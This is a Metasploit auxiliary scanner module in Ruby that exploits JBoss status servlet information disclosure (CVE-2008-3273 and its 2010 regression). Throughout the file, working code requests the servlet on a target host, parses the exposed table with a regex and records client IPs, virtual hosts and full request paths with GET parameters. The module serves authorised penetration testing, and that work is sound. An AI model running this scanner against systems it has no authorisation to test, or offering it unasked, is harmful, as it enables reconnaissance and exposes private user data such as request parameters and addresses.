JBoss Status Servlet Information Gathering

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'        => 'JBoss Status Servlet Information Gathering',
      'Description' => %q{
        This module queries the JBoss status servlet to collect sensitive
        information, including URL paths, GET parameters and client IP addresses.
        This module has been tested against JBoss 4.0, 4.2.2 and 4.2.3.
      },
      'References'  =>
        [
          ['CVE', '2008-3273'],
          ['CVE', '2010-1429'], # regression
          ['URL', 'https://seclists.org/fulldisclosure/2011/Sep/139'],
          ['URL', 'https://owasp.org/www-pdf-archive/OWASP3011_Luca.pdf'],
          ['URL', 'https://www.slideshare.net/chrisgates/lares-fromlowtopwned']
        ],
      'Author'      => 'Matteo Cantoni <goony[at]nothink.org>',
      'License'     => MSF_LICENSE
    )

    register_options([
      Opt::RPORT(8080),
      OptString.new('TARGETURI', [ true,  'The JBoss status servlet URI path', '/status'])
    ])
  end

  def run_host(target_host)
    jpath = normalize_uri(target_uri.to_s)

    @requests  = []

    vprint_status("#{rhost}:#{rport} - Collecting data through #{jpath}...")

    res = send_request_raw({
      'uri'    => jpath,
      'method' => 'GET'
    })

    # detect JBoss application server
    if res and res.code == 200 and res.body.match(/<title>Tomcat Status<\/title>/)
      http_fingerprint({:response => res})

      html_rows = res.body.split(/<strong>/)
      html_rows.each do |row|

        #Stage      Time    B Sent  B Recv  Client  VHost   Request
        #K  150463510 ms    ?       ?       1.2.3.4 ?       ?

        # filter client requests
        if row.match(/(.*)<\/strong><\/td><td>(.*)<\/td><td>(.*)<\/td><td>(.*)<\/td><td>(.*)<\/td><td nowrap>(.*)<\/td><td nowrap>(.*)<\/td><\/tr>/)

          j_src  = $5
          j_dst  = $6
          j_path = $7

          @requests << [j_src, j_dst, j_path]
        end
      end
    elsif res and res.code == 401
      vprint_error("#{rhost}:#{rport} - Authentication is required")
      return
    elsif res and res.code == 403
      vprint_error("#{rhost}:#{rport} - Forbidden")
      return
    else
      vprint_error("#{rhost}:#{rport} - Unknown error")
      return
    end

    # show results
    unless @requests.empty?
      show_results(target_host)
    end
  end

  def show_results(target_host)
    print_good("#{rhost}:#{rport} JBoss application server found")

    req_table = Rex::Text::Table.new(
      'Header'  => 'JBoss application server requests',
        'Indent'  => 1,
        'Columns' => ['Client', 'Vhost target', 'Request']
    )

    @requests.each do |r|
      req_table << r
      report_note({
        :host  => target_host,
        :proto => 'tcp',
        :sname => (ssl ? 'https' : 'http'),
        :port  => rport,
        :type  => 'JBoss application server info',
        :data  => "#{rhost}:#{rport} #{r[2]}"
      })
    end

    print_line
    print_line(req_table.to_s)
  end
end